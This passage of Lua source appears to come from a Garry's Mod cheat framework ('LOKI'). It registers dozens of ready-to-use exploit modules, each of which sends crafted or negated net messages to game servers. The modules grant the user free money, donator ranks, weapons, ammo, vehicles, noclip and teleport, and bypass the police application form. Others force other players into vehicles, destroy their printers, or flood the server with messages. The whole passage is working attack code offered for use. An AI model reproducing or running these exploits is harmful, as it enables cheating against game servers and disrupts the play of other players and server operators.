4286 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels22" },
4287 { typ = "func", Name = "Give me shekels", },
4288 },
4289 } )
4290 LOKI.AddExploit( "Money Exploit", {
4291 desc = "Inverse the polarity of the servers moral compass",
4292 severity = 50,
4293 bools = {enabled = false},
4294 status = 1,
4295 times_per_tick = math.huge,
4296 count = {
4297 ["Active"] = 6,
4298 ["Total"] = 6,
4299 },
4300 scan = function() return LOKI.DynamicNetString("credit_") && net.Receivers["credit_gui_loan"] end,
4301 hooks = {
4302 net = {
4303 WriteDouble = function(sploit, varargs)
4304 local CMOD_Messages = {
4305 ["credit_"] = true,
4306 }
4307 for k, v in pairs(CMOD_Messages) do
4308 if(sploit.bools.enabled && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find(k)) then
4309 varargs[1] = -varargs[1]
4310 break
4311 end
4312 end
4313 end,
4314 },
4315 },
4316 functions = {
4317 { typ = "bool" },
4318 },
4319 } )
4320 LOKI.AddExploit( "Money Exploit", {
4321 desc = "Show the server your empty wallet and see if it feels guilty",
4322 severity = 50,
4323 bools = {enabled = false},
4324 status = 1,
4325 times_per_tick = 1,
4326 count = {
4327 ["Active"] = 1,
4328 ["Total"] = 1,
4329 },
4330 scan = function() return LOKI.ValidNetString("lp2PrinterCart") end,
4331 hooks = {
4332 util = {
4333 TableToJSON = function(sploit, varargs)
4334 if(varargs[1].fullPrice && sploit.bools.freeprint) then
4335 varargs[1].fullPrice = 0
4336 //varargs[1].product1 = "worldspawn"
4337 end
4338 end,
4339 },
4340 },
4341 functions = {
4342 { typ = "bool", ToggleText = {"Free Printers"}, border = true, bool = "freeprint" },
4343 },
4344 } )
4345 LOKI.AddExploit( "Money Exploit", {
4346 desc = "Pay your negative debts",
4347 severity = 50,
4348 bools = {enabled = false},
4349 status = 1,
4350 times_per_tick = 1,
4351 vars = {},
4352 scan = function() return LOKI.ValidNetString( "FOC_ClaimPay" ) end,
4353 hooks = {
4354 Think = function(tbl, sploit)
4355 LOKI.NetStart( sploit, "FOC_ClaimPay" )
4356 net.WriteInt(LOKI.GetStored("shekels23", 1000), 32)
4357 net.SendToServer()
4358 end,
4359 },
4360 functions = {
4361 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "shekels23" },
4362 { typ = "func", Name = "Give me shekels", },
4363 },
4364 } )
4365 LOKI.AddExploit( "Money Exploit", {
4366 desc = "Pickpocket repeater",
4367 severity = 50,
4368 bools = {enabled = false},
4369 status = 1,
4370 times_per_tick = 1,
4371 vars = {},
4372 scan = function() return LOKI.ValidNetString( "fixg" ) end,
4373 hooks = {
4374 Think = function(tbl, sploit)
4375 if(IsValid(LOKI.GetLP():GetNW2Entity("rgg"))) then
4376 LOKI.NetStart( sploit, "fixg" )
4377 net.WriteEntity(LOKI.GetLP():GetNW2Entity("rgg"))
4378 net.SendToServer()
4379 end
4380 end,
4381 },
4382 functions = {
4383 { typ = "bool" },
4384 },
4385 } )
4386 LOKI.AddExploit( "Money Exploit", {
4387 desc = "It would appear that crime does pay",
4388 severity = 50,
4389 bools = {enabled = false},
4390 status = 1,
4391 times_per_tick = math.huge,
4392 scan = function() return LOKI.ValidNetString( "dialogReward" ) end,
4393 hooks = {
4394 Think = function(tbl, sploit)
4395 LOKI.NetStart( sploit, "dialogReward" )
4396 net.WriteInt( LOKI.GetStored("scpmx_money", 1000), 32 )
4397 net.WriteInt( LOKI.GetStored("scpmx_points", 1000), 32 )
4398 net.SendToServer()
4399 end,
4400 },
4401 functions = {
4402 { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx_money" },
4403 { typ = "float", Name = "Points", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx_points" },
4404 { typ = "func", Name = "Do it", },
4405 },
4406 } )
4407 LOKI.AddExploit( "Money Exploit", {
4408 desc = "Buy currency with your mothers credit card",
4409 severity = 50,
4410 bools = {enabled = false},
4411 status = 1,
4412 times_per_tick = math.huge,
4413 scan = function() return LOKI.ValidNetString( "PurchaseGun" ) end,
4414 hooks = {
4415 Think = function(tbl, sploit)
4416 for k, v in ipairs(LOKI.GetStored( "scpmx2_plyz", {} )) do
4417 if IsValid(v) then
4418 LOKI.NetStart( sploit, "PurchaseGun" )
4419 net.WriteEntity( v )
4420 net.WriteInt( LOKI.GetStored("scpmx2_money", 1000), 16 )
4421 net.SendToServer()
4422 end
4423 end
4424 end,
4425 },
4426 functions = {
4427 { typ = "players", addr = "scpmx2_plyz", Name = "Player" },
4428 { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 16)-1)/2, default = 1000, addr = "scpmx2_money" },
4429 { typ = "func", Name = "Do it", },
4430 },
4431 } )
4432 LOKI.AddExploit( "Money Exploit", {
4433 desc = "Rob the server bank",
4434 severity = 50,
4435 bools = {enabled = false},
4436 status = 1,
4437 times_per_tick = math.huge,
4438 scan = function() return LOKI.ValidNetString( "popupgivereward" ) end,
4439 hooks = {
4440 Think = function(tbl, sploit)
4441 for k, v in ipairs(LOKI.GetStored( "scpmx3_plyz", {} )) do
4442 if IsValid(v) then
4443 LOKI.NetStart( sploit, "popupgivereward" )
4444 net.WriteInt( LOKI.GetStored("scpmx3_money", 1000), 32 )
4445 net.WriteInt( LOKI.GetStored("scpmx3_points", 1000), 32 )
4446 net.WriteEntity( v )
4447 net.SendToServer()
4448 end
4449 end
4450 end,
4451 },
4452 functions = {
4453 { typ = "players", addr = "scpmx3_plyz", Name = "Player" },
4454 { typ = "float", Name = "Money", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx3_money" },
4455 { typ = "float", Name = "Points", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "scpmx3_points" },
4456 { typ = "func", Name = "Do it", },
4457 },
4458 } )
4459 LOKI.AddExploit( "Money Exploit", {
4460 desc = "Win the lottery",
4461 severity = 50,
4462 bools = {enabled = false},
4463 status = 1,
4464 times_per_tick = math.huge,
4465 scan = function() return LOKI.ValidNetString( "PurchaseAmmo" ) end,
4466 hooks = {
4467 Think = function(tbl, sploit)
4468 for k, v in ipairs(LOKI.GetStored( "scpmx4_plyz", {} )) do
4469 if IsValid(v) then
4470 LOKI.NetStart( sploit, "PurchaseAmmo" )
4471 net.WriteEntity( v )
4472 net.WriteInt( LOKI.GetStored("scpmx4_money", 1000), 16 )
4473 net.SendToServer()
4474 end
4475 end
4476 end,
4477 },
4478 functions = {
4479 { typ = "players", addr = "scpmx4_plyz", Name = "Player" },
4480 { typ = "float", Name = "Money", min = 1, max = math.floor((math.pow(2, 16)-1)/2), default = 1000, addr = "scpmx4_money" },
4481 { typ = "func", Name = "Do it", },
4482 },
4483 } )
4484 LOKI.AddExploit( "Money Exploit", {
4485 desc = "Man these negative taxes sure are great!",
4486 severity = 50,
4487 bools = {enabled = false},
4488 status = 1,
4489 times_per_tick = math.huge,
4490 scan = function() return LOKI.ValidNetString( "givemoneyonetime" ) end,
4491 hooks = {
4492 Think = function(tbl, sploit)
4493 LOKI.NetStart( sploit, "givemoneyonetime" )
4494 net.WriteString(-tonumber(LOKI.GetStored("mx24", 1000)))
4495 net.SendToServer()
4496 end,
4497 },
4498 functions = {
4499 { typ = "float", Name = "Money", min = 1, max = math.huge, default = 1000, addr = "mx24" },
4500 { typ = "func", Name = "Do it", },
4501 },
4502 } )
4503 LOKI.AddExploit( "Money Exploit", {
4504 desc = "It's tax collection day and you've earned negative money this year!",
4505 severity = 50,
4506 bools = {enabled = false},
4507 status = 1,
4508 times_per_tick = math.huge,
4509 scan = function() return LOKI.ValidNetString( "take_my_cash" ) end,
4510 hooks = {
4511 Think = function(tbl, sploit)
4512 LOKI.NetStart( sploit, "take_my_cash" )
4513 net.WriteString(-tonumber(LOKI.GetStored("mx24", 1000)))
4514 net.SendToServer()
4515 end,
4516 },
4517 functions = {
4518 { typ = "float", Name = "Money", min = 1, max = math.huge, default = 1000, addr = "mx24" },
4519 { typ = "func", Name = "Do it", },
4520 },
4521 } )
4522 LOKI.AddExploit( "Points Exploit", {
4523 desc = "PacMan would disapprove (causes server-side errors)",
4524 severity = 50,
4525 bools = {enabled = false},
4526 status = 1,
4527 times_per_tick = math.huge,
4528 scan = function() return LOKI.ValidNetString( "IntercomPlay" ) end,
4529 hooks = {
4530 Think = function(tbl, sploit)
4531 for i=0, tonumber(LOKI.GetStored("scpmx5_points", 1000)) do
4532 LOKI.NetStart( sploit, "IntercomPlay" )
4533 net.SendToServer()
4534 end
4535 end,
4536 },
4537 functions = {
4538 { typ = "float", Name = "Points", min = 1, max = math.huge, default = 1000, addr = "scpmx5_points" },
4539 { typ = "func", Name = "Do it", },
4540 },
4541 } )
4542 LOKI.AddExploit( "Donator Exploit", {
4543 desc = "Become a Pay2Win player for free",
4544 severity = 50,
4545 bools = {enabled = false},
4546 status = 1,
4547 times_per_tick = math.huge,
4548 scan = function() return LOKI.ValidNetString( "createvalue" ) end,
4549 hooks = {
4550 Think = function(tbl, sploit)
4551 LOKI.NetStart( sploit, "createvalue" )
4552 net.WriteString( "donatelevel" )
4553 net.WriteInt( LOKI.GetStored("donate1", 6), 16 )
4554 net.SendToServer()
4555 end,
4556 },
4557 functions = {
4558 { typ = "float", Name = "Level", min = 1, max = (math.pow(2, 16)-1)/2, default = 6, addr = "donate1" },
4559 { typ = "func", Name = "Do it", },
4560 },
4561 } )
4562 LOKI.AddExploit( "Inventory Exploit", {
4563 desc = "Buy any item (even donator/admin restricted)",
4564 severity = 50,
4565 bools = {enabled = false},
4566 status = 1,
4567 times_per_tick = 1,
4568 scan = function() return LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false || LOKI.RecursiveGetVar(_G, {"FISHINGMOD"}, "table") != false end,
4569 count = {
4570 ["Active"] = 0,
4571 ["Total"] = 3,
4572 },
4573 initial = function(sploit)
4574 if(sploit.count.Active == 0) then
4575 local CMOD_Messages = {
4576 ["CRAFTINGMOD"] = true,
4577 ["FARMINGMOD"] = true,
4578 ["FISHINGMOD"] = true,
4579 }
4580 for k, v in pairs(CMOD_Messages) do
4581 if(LOKI.DynamicNetString(k)) then
4582 sploit.count.Active = sploit.count.Active + 1
4583 end
4584 end
4585 end
4586 end,
4587 hooks = {
4588 Think = function(tbl, sploit)
4589 if(tbl[1] == 1) then
4590 local CMOD = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table")
4591 if(CMOD) then
4592 LOKI.Menu:SetVisible(false)
4593 local buy_tbl = {}
4594 for k, v in pairs(CMOD) do
4595 if(LOKI.ValidTable(v) && v.LIST) then
4596 for k2, v2 in pairs(v.LIST) do
4597 if(v2.BUY) then
4598 if(!v2.MODEL) then
4599 v2.MODEL = "models/error.mdl"
4600 end
4601 table.insert(buy_tbl, v2)
4602 end
4603 end
4604 end
4605 end
4606 CMOD.PANELS.Shop_ = buy_tbl
4607 CMOD.PANELS.Shop_Entity = ents.FindByClass("CRAFTINGMOD_SHOP")[1] || Entity(0)
4608 CMOD.PANELS:CreateShop()
4609 end
4610 elseif(tbl[1] == 2) then
4611 local Shop = LOKI.RecursiveGetVar(_G, {"FARMINGMOD", "Shop"}, "function")
4612 if(Shop) then
4613 Shop(FARMINGMOD)
4614 LOKI.Menu:SetVisible(false)
4615 end
4616 elseif(tbl[1] == 3) then
4617 local Shop = LOKI.RecursiveGetVar(_G, {"FISHINGMOD", "Menu", "CreateShop"}, "function")
4618 if(Shop) then
4619 Shop(FISHINGMOD.Menu)
4620 LOKI.Menu:SetVisible(false)
4621 end
4622 end
4623 end,
4624 net = {
4625 WriteTable = function(sploit, varargs)
4626 if(istable(varargs[1])) then
4627 for k, v in pairs(varargs[1]) do
4628 if(isfunction(v)) then
4629 varargs[1][k] = nil
4630 end
4631 end
4632 end
4633 end,
4634 },
4635 },
4636 functions = {
4637 { typ = "func", Name = "Mining Shop", args = {1}, required = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD"}, "table") != false},
4638 { typ = "func", Name = "Farming Shop", args = {2}, required = LOKI.RecursiveGetVar(_G, {"FARMINGMOD"}, "table") != false},
4639 { typ = "func", Name = "Fishing Shop", args = {3}, required = LOKI.RecursiveGetVar(_G, {"FISHINGMOD"}, "table") != false},
4640 },
4641 } )
4642 LOKI.AddExploit( "Inventory Exploit", {
4643 desc = "Inverse the polarity of the servers moral compass",
4644 severity = 1,
4645 bools = {enabled = false},
4646 status = 1,
4647 times_per_tick = math.huge,
4648 count = {
4649 ["Active"] = 0,
4650 ["Total"] = 9,
4651 },
4652 scan = function() return LOKI.DynamicNetString("CRAFTINGMOD") || LOKI.DynamicNetString("FARMINGMOD") || LOKI.DynamicNetString("FISHINGMOD") end,
4653 initial = function(sploit)
4654 if(sploit.count.Active == 0) then
4655 local CMOD_Messages = {
4656 ["CRAFTINGMOD"] = true,
4657 ["FARMINGMOD"] = true,
4658 ["FISHINGMOD"] = true,
4659 }
4660 for k, v in pairs(CMOD_Messages) do
4661 if(LOKI.DynamicNetString(k)) then
4662 sploit.count.Active = sploit.count.Active + 3
4663 end
4664 end
4665 end
4666 end,
4667 hooks = {
4668 net = {
4669 WriteInt = function(sploit, varargs)
4670 local CMOD_Messages = {
4671 ["CRAFTINGMOD"] = true,
4672 ["FARMINGMOD"] = true,
4673 ["FISHINGMOD"] = true,
4674 }
4675 for k, v in pairs(CMOD_Messages) do
4676 if(sploit.bools.enabled && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find(k)) then
4677 varargs[1] = -varargs[1]
4678 break
4679 end
4680 end
4681 end,
4682 },
4683 },
4684 functions = {
4685 { typ = "bool" },
4686 },
4687 } )
4688 LOKI.AddExploit( "Inventory Exploit", {
4689 desc = "Convince the NPCs that you're a worthy charity",
4690 severity = 1,
4691 bools = {enabled = false},
4692 status = 1,
4693 times_per_tick = math.huge,
4694 count = {
4695 ["Active"] = 2,
4696 ["Total"] = 2,
4697 },
4698 scan = function() return LOKI.DynamicNetString("BuyFromShopNPC") end,
4699 hooks = {
4700 net = {
4701 WriteTable = function(sploit, varargs)
4702 if(sploit.bools.enabled && istable(varargs[1]) && varargs[1].price && LOKI.NetOutgoingMsg && LOKI.NetOutgoingMsg:find("BuyFromShopNPC")) then
4703 varargs[1].price = 0
4704 end
4705 end,
4706 },
4707 },
4708 functions = {
4709 { typ = "bool" },
4710 },
4711 } )
4712 LOKI.AddExploit( "Vehicle Exploit", {
4713 desc = "Give yourself a preset car",
4714 severity = 50,
4715 bools = {enabled = false},
4716 status = 1,
4717 times_per_tick = 1,
4718 vars = {},
4719 scan = function() return LOKI.ValidNetString( "race_accept" ) end,
4720 hooks = {
4721 Think = function(tbl, sploit)
4722 LOKI.NetStart( sploit, "race_accept")
4723 net.SendToServer()
4724 end,
4725 },
4726 functions = {
4727 { typ = "func", Name = "Give me wheels", },
4728 },
4729 } )
4730 LOKI.AddExploit( "Vehicle Exploit", {
4731 desc = "Force any player into a vehicle",
4732 severity = 1,
4733 bools = {enabled = false},
4734 status = 1,
4735 times_per_tick = math.huge,
4736 scan = function() return LOKI.ValidNetString( "simfphys_request_seatswitch" ) end,
4737 hooks = {
4738 Think = function(tbl, sploit)
4739 local exploit = function(pl,veh,s)
4740 LOKI.NetStart( sploit, "simfphys_request_seatswitch" )
4741 net.WriteEntity(veh)
4742 net.WriteEntity(pl)
4743 net.WriteInt(s, 32)
4744 net.SendToServer()
4745 end
4746
4747 local ply = LOKI.GetStored("vx_ply", {})[1]
4748 local vehicle = LOKI.GetStored("vx_veh", {})[1]
4749 local seat = nil
4750 local pSeats = {}
4751
4752 if(IsValid(ply) && IsValid(vehicle)) then
4753 if(isfunction(vehicle.GetRPM) && !IsValid( vehicle:GetDriver() )) then
4754 return exploit(ply, vehicle, 0)
4755 end
4756 for k, v in ipairs(ents.GetAll()) do
4757 if(v:GetParent() == vehicle) then
4758 table.insert(pSeats, v)
4759 end
4760 end
4761 for k, v in ipairs(pSeats) do
4762 for k2, v2 in ipairs(player.GetAll()) do
4763 if(v2:GetVehicle() == v) then
4764 continue
4765 end
4766 end
4767 return exploit(ply, vehicle, k)
4768 end
4769 end
4770 end,
4771 },
4772 functions = {
4773 { typ = "player", addr = "vx_ply", Name = "Player" },
4774 { typ = "entity", addr = "vx_veh", Name = "Vehicle", tbl = function() return LOKI.ents.FindByGlobal("GetDriverSeat") end },
4775 { typ = "func", Name = "Do it", },
4776 },
4777 } )
4778 LOKI.AddExploit( "NoClip Exploit", {
4779 desc = "Enter the spirit realm",
4780 severity = 95,
4781 bools = {enabled = false},
4782 status = 1,
4783 times_per_tick = 0,
4784 vars = {},
4785 scan = function() return LOKI.ValidNetString( "flyover_git" ) end,
4786 OnEnable = function(var, sploit)
4787 if(var != "noclip") then return end
4788 local pos = LOKI.GetLP():GetPos()
4789 LOKI.NetStart( sploit, "flyover_git")
4790 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4791 net.SendToServer()
4792 end,
4793 OnDisable = function(var, sploit)
4794 if(var != "noclip") then return end
4795 local pos = LOKI.GetLP():GetPos()
4796 LOKI.NetStart( sploit, "fly_over_end")
4797 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4798 net.SendToServer()
4799 end,
4800 hooks = {
4801 Think = function(tbl, sploit)
4802 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4803 LOKI.NetStart( sploit, "fly_over_end")
4804 net.WriteString(tostring(pos.x).." "..tostring(pos.y).." "..tostring(pos.z))
4805 net.SendToServer()
4806 end,
4807 },
4808 functions = {
4809 { typ = "bool", ToggleText = {"NoClip"}, border = true, bool = "noclip" },
4810 { typ = "func", Name = "Teleport" },
4811 },
4812 } )
4813 LOKI.AddExploit( "NoClip Exploit", {
4814 desc = "Enter the spirit realm",
4815 severity = 95,
4816 bools = {enabled = false},
4817 status = 1,
4818 times_per_tick = 0,
4819 vars = {},
4820 scan = function() return LOKI.ValidNetString( "079ServerAction" ) end,
4821 hooks = {
4822 CreateMove = function(tbl, sploit)
4823 if(sploit.bools.enabled && LOKI.Freecam.Enabled == true) then
4824 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4825 LOKI.NetStart(sploit, "079ServerAction")
4826 net.WriteString("Move")
4827 net.WriteVector(pos)
4828 net.SendToServer()
4829 end
4830 end,
4831 },
4832 functions = {
4833 { typ = "bool" },
4834 },
4835 } )
4836 LOKI.AddExploit( "NoClip Exploit", {
4837 desc = "Enter the spirit realm",
4838 severity = 95,
4839 bools = {enabled = false},
4840 status = 1,
4841 times_per_tick = 0,
4842 vars = {},
4843 scan = function() return LOKI.ValidNetString( "XMH_TeleportPlayer" ) end,
4844 hooks = {
4845 CreateMove = function(tbl, sploit)
4846 if(sploit.bools.enabled && LOKI.Freecam.Enabled == true) then
4847 local pos = LOKI.Freecam.EyePos() - (LOKI.GetLP():EyePos() - LOKI.GetLP():GetPos())
4848 LOKI.NetStart(sploit, "XMH_TeleportPlayer")
4849 net.WriteVector(pos)
4850 net.SendToServer()
4851 end
4852 end,
4853 },
4854 functions = {
4855 { typ = "bool" },
4856 },
4857 } )
4858 LOKI.AddExploit( "Vehicle Exploit", {
4859 desc = "Give yourself a firetruck",
4860 severity = 50,
4861 bools = {enabled = false},
4862 status = 1,
4863 times_per_tick = 1,
4864 vars = {},
4865 scan = function() return LOKI.ValidNetString( "race_accept" ) end,
4866 hooks = {
4867 Think = function(tbl, sploit)
4868 LOKI.NetStart( sploit, "FIRE_CreateFireTruck")
4869 net.SendToServer()
4870 end,
4871 },
4872 functions = {
4873 { typ = "func", Name = "Give me wheels", },
4874 },
4875 } )
4876 LOKI.AddExploit( "Weapons Exploit", {
4877 desc = "Give yourself any weapon",
4878 severity = 50,
4879 bools = {enabled = false},
4880 status = -1,
4881 times_per_tick = 1,
4882 vars = {},
4883 scan = function() return LOKI.ValidNetString( "give_me_weapon" ) end,
4884 hooks = {
4885 Think = function(tbl, sploit)
4886 LOKI.NetStart( sploit, "give_me_weapon")
4887 net.WriteString(LOKI.GetStored( "weapons1" ))
4888 net.SendToServer()
4889 end,
4890 },
4891 functions = {
4892 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons1" },
4893 { typ = "func", Name = "Give me artillery", },
4894 },
4895 } )
4896 LOKI.AddExploit( "Weapons Exploit", {
4897 desc = "Give yourself an explosion spell",
4898 severity = 50,
4899 bools = {enabled = false},
4900 status = 1,
4901 times_per_tick = 1,
4902 vars = {},
4903 scan = function() return LOKI.ValidNetString( "hpwrewrite_achievement1" ) end,
4904 hooks = {
4905 Think = function(tbl, sploit)
4906 LOKI.NetStart( sploit, "hpwrewrite_achievement1")
4907 net.SendToServer()
4908 end,
4909 },
4910 functions = {
4911 { typ = "func", Name = "Give me artillery", },
4912 },
4913 } )
4914 LOKI.AddExploit( "Weapons Exploit", {
4915 desc = "Give yourself any weapon",
4916 severity = 50,
4917 bools = {enabled = false},
4918 status = -1,
4919 times_per_tick = math.huge,
4920 scan = function() return LOKI.ValidNetString( "CraftSomething" ) end,
4921 hooks = {
4922 Think = function(tbl, sploit)
4923 LOKI.NetStart( sploit, "CraftSomething" )
4924 net.WriteEntity( LOKI.GetLP() )
4925 net.WriteString( LOKI.GetStored( "weapons2" ) )
4926 net.WriteString( "" )
4927 net.WriteString( "weapon" )
4928 net.SendToServer()
4929 end,
4930 },
4931 functions = {
4932 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons2" },
4933 { typ = "func", Name = "Give me artillery", },
4934 },
4935 } )
4936 LOKI.AddExploit( "Weapons Exploit", {
4937 desc = "Give yourself any weapon",
4938 severity = 50,
4939 bools = {enabled = false},
4940 status = -1,
4941 times_per_tick = math.huge,
4942 scan = function() return LOKI.ValidNetString( "SquadGiveWeapon" ) end,
4943 hooks = {
4944 Think = function(tbl, sploit)
4945 LOKI.NetStart( sploit, "SquadGiveWeapon" )
4946 net.WriteString(LOKI.GetStored( "weapons3" ))
4947 net.WriteEntity(LOKI.GetLP())
4948 net.SendToServer()
4949 end,
4950 },
4951 functions = {
4952 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons3" },
4953 { typ = "func", Name = "Give me artillery", },
4954 },
4955 } )
4956 LOKI.AddExploit( "Weapons Exploit", {
4957 desc = "Give yourself any weapon. (works but requires an admin to have used !give at least once since server start)",
4958 severity = 50,
4959 bools = {enabled = false},
4960 status = 1,
4961 times_per_tick = 1,
4962 vars = {},
4963 scan = function() return LOKI.ValidNetString( "giveweapon" ) end,
4964 hooks = {
4965 Think = function(tbl, sploit)
4966 LOKI.NetStart( sploit, "giveweapon")
4967 net.WriteString(LOKI.GetStored( "weapons4" ))
4968 net.SendToServer()
4969 end,
4970 },
4971 functions = {
4972 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons4" },
4973 { typ = "func", Name = "Give me artillery", },
4974 },
4975 } )
4976 LOKI.AddExploit( "Weapons Exploit", {
4977 desc = "Give yourself any weapon",
4978 severity = 50,
4979 bools = {enabled = false},
4980 status = 1,
4981 times_per_tick = 1,
4982 vars = {},
4983 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
4984 hooks = {
4985 Think = function(tbl, sploit)
4986 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
4987 net.WriteTable({type = 4, SWEP = LOKI.GetStored( "weapons5" ), SKIN = 0})
4988 net.WriteInt(0, 16)
4989 net.WriteString(tostring(CRAFTINGMOD.PANELS.Inventory_ID))
4990 net.SendToServer()
4991 end,
4992 },
4993 functions = {
4994 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons5" },
4995 { typ = "func", Name = "Give me artillery", },
4996 },
4997 } )
4998 LOKI.AddExploit( "Weapons Exploit", {
4999 desc = "Give or take weapons to/from yourself",
5000 severity = 50,
5001 bools = {enabled = false},
5002 status = 1,
5003 times_per_tick = 1,
5004 vars = {},
5005 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
5006 hooks = {
5007 Think = function(tbl, sploit)
5008 local weaps = {}
5009 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
5010 net.WriteString( tbl[1] )
5011 if(tbl[2] == "All") then
5012 if(tbl[1] == "Remove") then
5013 for k1, v1 in pairs(v:GetWeapons()) do
5014 table.insert(weaps, v1:GetClass())
5015 end
5016 elseif(tbl[1] == "Add") then
5017 for k1, v1 in pairs(weapons.GetList()) do
5018 weaps[#weaps+1] = v1.ClassName
5019 end
5020 end
5021 else
5022 weaps = string.Split( LOKI.GetStored("scpwx_weaps", "weapon_rpg,weapon_smg1"), "," )
5023 end
5024 net.WriteTable( weaps )
5025 net.WriteEntity( LOKI.GetLP() )
5026 net.SendToServer()
5027 end,
5028 },
5029 functions = {
5030 { typ = "string", Name = "Weapons", default = "weapon_rpg,weapon_smg1", addr = "scpwx_weaps" },
5031 { typ = "func", Name = "Give", args = {"Add"} },
5032 { typ = "func", Name = "Take", args = {"Remove"} },
5033 { typ = "func", Name = "Strip", args = {"Remove", "All"} },
5034 { typ = "func", Name = "Give All", args = {"Add", "All"} },
5035 },
5036 } )
5037 LOKI.AddExploit( "Weapons Exploit", {
5038 desc = "Give yourself any weapon",
5039 severity = 50,
5040 bools = {enabled = false},
5041 status = 1,
5042 times_per_tick = 1,
5043 vars = {},
5044 scan = function() return LOKI.ValidNetString( "R_PERM.BuyFromShopNPC" ) end,
5045 hooks = {
5046 Think = function(tbl, sploit)
5047 LOKI.NetStart(sploit, "R_PERM.BuyFromShopNPC")
5048 net.WriteTable({type="Weapon",class=LOKI.GetStored( "weapons6" ),price=0})
5049 net.SendToServer()
5050 end,
5051 },
5052 functions = {
5053 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons6" },
5054 { typ = "func", Name = "Give me artillery", },
5055 },
5056 } )
5057 LOKI.AddExploit( "Weapons Exploit", {
5058 desc = "Give yourself default weapons",
5059 severity = 50,
5060 bools = {enabled = false},
5061 status = 1,
5062 times_per_tick = 1,
5063 vars = {},
5064 scan = function() return LOKI.ValidNetString( "XMH_HandleWeapons" ) end,
5065 hooks = {
5066 Think = function(tbl, sploit)
5067 LOKI.NetStart(sploit, "XMH_HandleWeapons")
5068 net.WriteString("xmh_givehl2weapons")
5069 net.SendToServer()
5070 LOKI.NetStart(sploit, "XMH_HandleWeapons")
5071 net.WriteString("xmh_givegmweapons")
5072 net.SendToServer()
5073 end,
5074 },
5075 functions = {
5076 { typ = "func", Name = "Give me artillery", },
5077 },
5078 } )
5079 LOKI.AddExploit( "Ammo Exploit", {
5080 desc = "Get unlimited ammo for every weapon",
5081 severity = 50,
5082 bools = {enabled = false},
5083 status = -1,
5084 times_per_tick = math.huge,
5085 scan = function() return LOKI.ValidNetString( "TCBBuyAmmo" ) && net.Receivers["tcbsendammo"] end,
5086 hooks = {
5087 Think = function(tbl, sploit)
5088 for k,v in pairs(GAMEMODE.AmmoTypes) do
5089 LOKI.NetStart(sploit, "TCBBuyAmmo")
5090 net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
5091 net.SendToServer()
5092 end
5093 end,
5094 },
5095 functions = {
5096 { typ = "string", Name = "Weapon Class", default = "weapon_rpg", addr = "weapons2" },
5097 { typ = "func", Name = "Give me artillery", },
5098 },
5099 } )
5100 LOKI.AddExploit( "Join Police", {
5101 desc = "Join the police force without going through the fucking form",
5102 severity = 50,
5103 bools = {enabled = false},
5104 status = -1,
5105 times_per_tick = math.huge,
5106 scan = function() return LOKI.ValidNetString( "PoliceJoin" ) end,
5107 hooks = {
5108 Think = function(tbl, sploit)
5109 LOKI.NetStart( sploit, "PoliceJoin" )
5110 net.SendToServer()
5111 end,
5112 },
5113 functions = {
5114 { typ = "func", Name = "Become a cop", },
5115 },
5116 } )
5117 LOKI.AddExploit( "Join Police", {
5118 desc = "Join the police force without going through the fucking form",
5119 severity = 50,
5120 bools = {enabled = false},
5121 status = -1,
5122 times_per_tick = math.huge,
5123 scan = function() return LOKI.ValidNetString( "CpForm_Answers" ) end,
5124 hooks = {
5125 Think = function(tbl, sploit)
5126 LOKI.NetStart( sploit, "CpForm_Answers")
5127 net.WriteEntity(LOKI.GetLP())
5128 net.WriteTable({})
5129 net.SendToServer()
5130 end,
5131 },
5132 functions = {
5133 { typ = "func", Name = "Become a cop", },
5134 },
5135 } )
5136 LOKI.AddExploit( "Printer Smasher", {
5137 desc = "Apply constant damage to any printers nearby",
5138 severity = 50,
5139 bools = {enabled = false},
5140 status = 1,
5141 msgs_per_tick = 3,
5142 times_per_tick = 1,
5143 vars = {},
5144 scan = function() return LOKI.ValidNetString( "customprinter_get" ) end,
5145 hooks = {
5146 Tick = function(tbl, sploit)
5147 for k, v in ipairs( LOKI.ents.FindByGlobal("IsCustomHQ") ) do
5148 if ( v:GetPos():Distance( LOKI.GetLP():GetPos() ) <= 750 ) then
5149 LOKI.NetStart( sploit, "customprinter_get")
5150 net.WriteEntity(v)
5151 net.WriteString("onoff")
5152 net.SendToServer()
5153 LOKI.NetStart( sploit, "customprinter_get")
5154 net.WriteEntity(v)
5155 net.WriteString("c_off")
5156 net.SendToServer()
5157 LOKI.NetStart( sploit, "customprinter_get")
5158 net.WriteEntity(v)
5159 net.WriteString("p_up")
5160 net.SendToServer()
5161 end
5162 end
5163 end,
5164 },
5165 functions = {
5166 { typ = "bool", },
5167 },
5168 } )
